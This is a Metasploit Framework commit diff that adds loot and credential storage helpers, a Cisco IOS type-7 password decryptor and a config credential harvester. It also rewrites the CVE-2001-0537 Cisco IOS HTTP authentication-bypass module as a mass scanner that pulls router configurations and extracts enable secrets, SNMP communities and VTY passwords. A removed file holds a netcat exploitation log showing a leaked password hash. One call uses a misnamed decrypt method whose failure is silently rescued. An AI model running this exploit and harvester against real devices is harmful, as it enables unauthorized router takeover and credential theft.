Swap some module locations, add loot and cred reporting
git-svn-id: file:///home/svn/framework3/trunk@11271 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
e18548387c
commit
26aca9d6ba
|
@ -50,7 +50,8 @@ class Config < Hash
|
|||
'LogDirectory' => "logs",
|
||||
'SessionLogDirectory' => "logs/sessions",
|
||||
'PluginDirectory' => "plugins",
|
||||
'DataDirectory' => "data"
|
||||
'DataDirectory' => "data",
|
||||
'LootDirectory' => "loot"
|
||||
}
|
||||
|
||||
##
|
||||
|
@ -115,6 +116,13 @@ class Config < Hash
|
|||
self.new.session_log_directory
|
||||
end
|
||||
|
||||
#
|
||||
# Calls the instance method.
|
||||
#
|
||||
def self.loot_directory
|
||||
self.new.loot_directory
|
||||
end
|
||||
|
||||
#
|
||||
# Calls the instance method.
|
||||
#
|
||||
|
@ -241,6 +249,13 @@ class Config < Hash
|
|||
config_directory + FileSep + self['SessionLogDirectory']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the directory in which captured data will reside.
|
||||
#
|
||||
def loot_directory
|
||||
config_directory + FileSep + self['LootDirectory']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the user-specific module base path
|
||||
#
|
||||
|
@ -276,6 +291,7 @@ class Config < Hash
|
|||
FileUtils.mkdir_p(config_directory)
|
||||
FileUtils.mkdir_p(log_directory)
|
||||
FileUtils.mkdir_p(session_log_directory)
|
||||
FileUtils.mkdir_p(loot_directory)
|
||||
FileUtils.mkdir_p(user_module_directory)
|
||||
FileUtils.mkdir_p(user_plugin_directory)
|
||||
end
|
||||
|
|
|
@ -0,0 +1,113 @@
|
|||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides methods for working with Cisco equipment
|
||||
#
|
||||
###
|
||||
module Auxiliary::Cisco
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
|
||||
def cisco_ios_decrypt7(inp)
|
||||
xlat = [
|
||||
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
|
||||
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
|
||||
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53,
|
||||
0x55, 0x42
|
||||
]
|
||||
|
||||
return nil if not inp[0,2] =~ /\d\d/
|
||||
|
||||
seed = nil
|
||||
clear = ""
|
||||
inp.scan(/../).each do |byte|
|
||||
if not seed
|
||||
seed = byte.to_i
|
||||
next
|
||||
end
|
||||
byte = byte.to_i(16)
|
||||
clear << [ byte ^ xlat[ seed ]].pack("C")
|
||||
seed += 1
|
||||
end
|
||||
clear
|
||||
end
|
||||
|
||||
def cisco_ios_config_eater(thost, tport, config)
|
||||
|
||||
#
|
||||
# Create a template hash for cred reporting
|
||||
#
|
||||
cred_info = {
|
||||
:host => thost,
|
||||
:port => tport,
|
||||
:user => "",
|
||||
:pass => "",
|
||||
:type => "",
|
||||
:collect_type => "",
|
||||
:active => true
|
||||
}
|
||||
|
||||
store_loot("cisco.ios.config", "text/plain", thost, config.strip, "config.txt", "Cisco IOS Configuration")
|
||||
|
||||
config.each_line do |line|
|
||||
case line
|
||||
when /^\s*enable secret (\d+) (.*)/i
|
||||
stype = $1.to_i
|
||||
shash = $2.strip
|
||||
|
||||
if stype == 5
|
||||
print_good("MD5 Encrypted Enable Password: #{shash}")
|
||||
store_loot("cisco.ios.enable_hash", "text/plain", thost, shash, "enable_password_hash.txt", "Cisco IOS Enable Password Hash (MD5)")
|
||||
end
|
||||
|
||||
if stype == 7
|
||||
shash = cisco_decrypt7(shash) rescue shash
|
||||
print_good("Decrypted Enable Password: #{shash}")
|
||||
store_loot("cisco.ios.enable_pass", "text/plain", thost, shash, "enable_password.txt", "Cisco IOS Enable Password")
|
||||
|
||||
cred = cred_info.dup
|
||||
cred[:pass] = shash
|
||||
cred[:type] = "cisco_enable"
|
||||
cred[:collect_type] = "cisco_enable"
|
||||
store_cred(cred)
|
||||
end
|
||||
|
||||
when /^\s*enable password (.*)/i
|
||||
spass = $1.strip
|
||||
print_good("Unencrypted Enable Password: #{spass}")
|
||||
|
||||
cred = cred_info.dup
|
||||
cred[:pass] = spass
|
||||
cred[:type] = "cisco_enable"
|
||||
cred[:collect_type] = "cisco_enable"
|
||||
store_cred(cred)
|
||||
|
||||
when /\s*snmp-server community ([^\s]+) (RO|RW)/i
|
||||
stype = $2.strip
|
||||
scomm = $1.strip
|
||||
print_good("SNMP Community (#{stype}): #{scomm}")
|
||||
|
||||
cred = cred_info.dup
|
||||
cred[:sname] = "snmp"
|
||||
cred[:pass] = scomm
|
||||
cred[:type] = "password"
|
||||
cred[:collect_type] = "password"
|
||||
cred[:proto] = "udp"
|
||||
cred[:port] = 161
|
||||
store_cred(cred)
|
||||
|
||||
when /\s*password ([^\s]+)/i
|
||||
spass = $1.strip
|
||||
print_good("Unencrypted VTY Password: #{spass}")
|
||||
cred = cred_info.dup
|
||||
cred[:pass] = spass
|
||||
cred[:type] = "password"
|
||||
cred[:collect_type] = "password"
|
||||
store_cred(cred)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -17,3 +17,4 @@ require 'msf/core/auxiliary/crawler'
|
|||
require 'msf/core/auxiliary/commandshell'
|
||||
require 'msf/core/auxiliary/login'
|
||||
require 'msf/core/auxiliary/rservices'
|
||||
require 'msf/core/auxiliary/cisco'
|
||||
|
|
|
@ -128,6 +128,128 @@ module Auxiliary::Report
|
|||
framework.db.report_web_vuln(opts)
|
||||
end
|
||||
|
||||
def store_loot(ltype, ctype, host, data, filename=nil, info=nil)
|
||||
if ! ::File.directory?(Msf::Config.loot_directory)
|
||||
FileUtils.mkdir_p(Msf::Config.loot_directory)
|
||||
end
|
||||
|
||||
# Allow either a session or host to be specified
|
||||
if host.respond_to?('target_host')
|
||||
thost = host.target_host
|
||||
tpeer = host.tunnel_peer
|
||||
if tpeer and (!thost or thost.empty?)
|
||||
thost = tpeer.split(":")[0]
|
||||
end
|
||||
host = thost
|
||||
end
|
||||
|
||||
ext = 'bin'
|
||||
if filename
|
||||
exts = filename.to_s.split('.')
|
||||
if exts.length > 1 and exts[-1].length < 4
|
||||
ext = exts[-1]
|
||||
end
|
||||
end
|
||||
|
||||
case ctype
|
||||
when "text/plain"
|
||||
ext = "txt"
|
||||
end
|
||||
|
||||
name =
|
||||
Time.now.strftime("%Y%m%d%H%M%S") + "_" +
|
||||
myworkspace.name[0,16] + "_" + (host || 'unknown') + '_' +
|
||||
ltype[0,16] + '_' + Rex::Text.rand_text_numeric(6) + '.' + ext
|
||||
|
||||
|
||||
name.gsub!(/[^a-z0-9\.\_]+/i, '')
|
||||
|
||||
path = File.join(Msf::Config.loot_directory, name)
|
||||
conf = {}
|
||||
conf[:host] = host if host
|
||||
conf[:type] = ltype
|
||||
conf[:content_type] = ctype
|
||||
conf[:path] = ::File.expand_path(path)
|
||||
conf[:workspace] = myworkspace
|
||||
conf[:name] = filename if filename
|
||||
conf[:info] = info if info
|
||||
|
||||
print_status("Writing #{ltype} (#{ctype}) for #{host}: (#{filename} - #{info})...")
|
||||
File.open(conf[:path], "wb") do |fd|
|
||||
fd.write(data)
|
||||
end
|
||||
ret_path = conf[:path].dup
|
||||
|
||||
framework.db.report_loot(conf)
|
||||
return ret_path
|
||||
end
|
||||
|
||||
# Takes a credential from a script (shell or meterpreter), and
|
||||
# sources it correctly to the originating user account. Note
|
||||
# that if the user account is not already stored as a credential
|
||||
# against that service, source_id will end up nil, and will
|
||||
# appear as a self-sourced credential the next time credentials are
|
||||
# sourced.
|
||||
def store_cred(opts={})
|
||||
if [opts[:port],opts[:sname]].compact.empty?
|
||||
raise ArgumentError, "Missing option: :sname or :port"
|
||||
end
|
||||
cred_opts = opts
|
||||
cred_opts = opts.merge(:workspace => myworkspace)
|
||||
cred_host = myworkspace.hosts.find_by_address(cred_opts[:host])
|
||||
unless opts[:port]
|
||||
possible_services = myworkspace.services.find_all_by_host_id_and_name(cred_host[:id],cred_opts[:sname])
|
||||
case possible_services.size
|
||||
when 0
|
||||
case cred_opts[:sname].downcase
|
||||
when "smb"
|
||||
cred_opts[:port] = 445
|
||||
when "ssh"
|
||||
cred_opts[:port] = 22
|
||||
when "telnet"
|
||||
cred_opts[:port] = 23
|
||||
when "snmp"
|
||||
cred_opts[:port] = 161
|
||||
cred_opts[:proto] = "udp"
|
||||
else
|
||||
raise ArgumentError, "No matching :sname found to store this cred."
|
||||
end
|
||||
when 1
|
||||
cred_opts[:port] = possible_services.first[:port]
|
||||
else # SMB should prefer 445. Everyone else, just take the first hit.
|
||||
if (cred_opts[:sname].downcase == "smb") && possible_services.map {|x| x[:port]}.include?(445)
|
||||
cred_opts[:port] = 445
|
||||
elsif (cred_opts[:sname].downcase == "ssh") && possible_services.map {|x| x[:port]}.include?(22)
|
||||
cred_opts[:port] = 22
|
||||
else
|
||||
cred_opts[:port] = possible_services.first[:port]
|
||||
end
|
||||
end
|
||||
end
|
||||
if opts[:collect_user]
|
||||
cred_service = cred_host.services.find_by_host_id(cred_host[:id])
|
||||
myworkspace.creds.sort {|a,b| a.created_at.to_f}.each do |cred|
|
||||
if(cred.user.downcase == opts[:collect_user].downcase &&
|
||||
cred.pass == opts[:collect_pass]
|
||||
)
|
||||
cred_opts[:source_id] ||= cred.id
|
||||
cred_opts[:source_type] ||= cred_opts[:collect_type]
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
if opts[:collect_session]
|
||||
exploit = myworkspace.exploited_hosts.find_by_session_uuid(opts[:collect_session])
|
||||
if !exploit.nil?
|
||||
cred_opts[:source_id] = exploit.id
|
||||
cred_opts[:source_type] = "exploit"
|
||||
else
|
||||
# This session isn't in exploited_hosts, so can't attribute.
|
||||
end
|
||||
end
|
||||
print_status "Collecting #{cred_opts[:user]}:#{cred_opts[:pass]}"
|
||||
framework.db.report_auth_info(cred_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,139 +0,0 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cisco IOS HTTP Unauthorized Administrative Access',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the Cisco IOS HTTP Server.
|
||||
By sending a GET request for "/level/num/exec/..", where num is between
|
||||
16 and 99, it is possible to bypass authentication and obtain full system
|
||||
control. IOS 11.3 -> 12.2 are reportedly vulnerable. This module
|
||||
tested successfully against a Cisco 1600 Router IOS v11.3(11d).
|
||||
},
|
||||
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'BID', '2936'],
|
||||
[ 'CVE', '2001-0537'],
|
||||
[ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20010627-ios-http-level.shtml'],
|
||||
[ 'OSVDB', '578' ],
|
||||
],
|
||||
'DisclosureDate' => 'Jun 27 2001'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('CMD', [ true, "Cisco IOS command", 'show start' ])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Looking for a vulnerable privilege level...")
|
||||
|
||||
16.upto(99) do | level |
|
||||
connect
|
||||
|
||||
sploit = "GET /level/" + level.to_s + "/exec/show%20privilege HTTP/1.0\r\n\r\n"
|
||||
sock.put(sploit)
|
||||
|
||||
result = sock.get(-1, 3)
|
||||
disconnect
|
||||
|
||||
if (result =~ /Current privilege level is/)
|
||||
print_status("Found vulnerable privilege level: " + level.to_s)
|
||||
xCMD = Rex::Text.uri_encode(datastore['CMD'], 'hex-normal')
|
||||
print_status("Sending your encoded command: " + xCMD)
|
||||
|
||||
connect
|
||||
|
||||
sploit = "GET /level/" + level.to_s + "/exec/" + xCMD + " HTTP/1.0\r\n\r\n"
|
||||
sock.put(sploit)
|
||||
|
||||
result = sock.get(-1, 3)
|
||||
print_status(result.to_s)
|
||||
|
||||
disconnect
|
||||
break
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
|
||||
Patrick Webster 20070922 Cisco 1600 Router IOS v11.3(11d).
|
||||
|
||||
IOS info:
|
||||
IOS (tm) 1600 Software (C1600-Y-L), Version 11.3(11d), RELEASE SOFTWARE (fc1)
|
||||
Copyright (c) 1986-2003 by cisco Systems, Inc.
|
||||
Compiled Tue 22-Jul-03 17:00 by eaarmas
|
||||
|
||||
Example Exploit:
|
||||
|
||||
patrick@aushack ~
|
||||
$ nc 172.16.32.2 80
|
||||
GET /level/15/exec/show%20start HTTP/1.0
|
||||
|
||||
HTTP/1.0 401 Unauthorized
|
||||
Date: Mon, 01 Mar 1993 00:20:41 UTC
|
||||
Content-type: text/html
|
||||
Expires: Thu, 16 Feb 1989 00:00:00 GMT
|
||||
WWW-Authenticate: Basic realm="level 15 access"
|
||||
|
||||
<HEAD><TITLE>Authorization Required</TITLE></HEAD><BODY><H1>Authorization Requir
|
||||
ed</H1>Browser not authentication-capable or authentication failed.</BODY>
|
||||
|
||||
patrick@aushack ~
|
||||
$ nc 172.16.32.2 80
|
||||
GET /level/16/exec/show%20start HTTP/1.0
|
||||
|
||||
HTTP/1.0 200 OK
|
||||
Date: Mon, 01 Mar 1993 00:21:31 UTC
|
||||
Server: cisco-IOS/11.3 HTTP-server/1.0(1)
|
||||
Content-type: text/html
|
||||
Expires: Thu, 16 Feb 1989 00:00:00 GMT
|
||||
|
||||
|
||||
<HTML><HEAD><TITLE>Router /level/16/exec/show start</TITLE></HEAD>
|
||||
<BODY><H1>Router</H1><PRE><HR>
|
||||
<FORM METHOD=POST ACTION="/level/16/exec/show start"><DL>
|
||||
Using 653 out of 7506 bytes
|
||||
!
|
||||
version 11.1
|
||||
no service udp-small-servers
|
||||
no service tcp-small-servers
|
||||
!
|
||||
hostname Router
|
||||
!
|
||||
boot system flash c1600-y-l.113-11d.bin
|
||||
boot system flash
|
||||
enable secret 5 $1$nDn5$pcheGox3RoCdQNjfq5BHe1
|
||||
enable password cisco
|
||||
!
|
||||
[snip]
|
||||
|
||||
=end
|
||||
|
|
@ -0,0 +1,95 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'rex/proto/http'
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Exploit mixins should be called first
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
# Include Cisco utility methods
|
||||
include Msf::Auxiliary::Cisco
|
||||
|
||||
# Scanner mixin should be near last
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cisco IOS HTTP Unauthorized Administrative Access',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the Cisco IOS HTTP Server.
|
||||
By sending a GET request for "/level/num/exec/..", where num is between
|
||||
16 and 99, it is possible to bypass authentication and obtain full system
|
||||
control. IOS 11.3 -> 12.2 are reportedly vulnerable. This module
|
||||
tested successfully against a Cisco 1600 Router IOS v11.3(11d).
|
||||
},
|
||||
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'BID', '2936'],
|
||||
[ 'CVE', '2001-0537'],
|
||||
[ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20010627-ios-http-level.shtml'],
|
||||
[ 'OSVDB', '578' ],
|
||||
],
|
||||
'DisclosureDate' => 'Jun 27 2001'))
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
16.upto(99) do |level|
|
||||
res = send_request_cgi({
|
||||
'uri' => "/level/#{level}/exec/show/version/CR",
|
||||
'method' => 'GET'
|
||||
}, 20)
|
||||
|
||||
if res and res.body and res.body =~ /Cisco Internetwork Operating System Software/
|
||||
print_good("#{rhost}:#{rport} Found vulnerable privilege level: #{level}")
|
||||
|
||||
report_vuln(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:name => 'IOS-HTTP-AUTH-BYPASS',
|
||||
:info => "http://#{rhost}:#{rport}/level/#{level}/exec/show/version/CR",
|
||||
:refs =>
|
||||
[
|
||||
[ 'BID', '2936'],
|
||||
[ 'CVE', '2001-0537'],
|
||||
[ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20010627-ios-http-level.shtml'],
|
||||
[ 'OSVDB', '578' ],
|
||||
]
|
||||
)
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => "/level/#{level}/exec/show/config/CR",
|
||||
'method' => 'GET'
|
||||
}, 20)
|
||||
|
||||
if res and res.body and res.body =~ /<FORM METHOD([^\>]+)\>(.*)<\/FORM>/mi
|
||||
config = $2.strip
|
||||
print_good("#{rhost}:#{rport} Processing the configuration file...")
|
||||
cisco_ios_config_eater(rhost, rport, config)
|
||||
else
|
||||
print_error("#{rhost}:#{rport} Error: could not retrieve the IOS configuration")
|
||||
end
|
||||
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue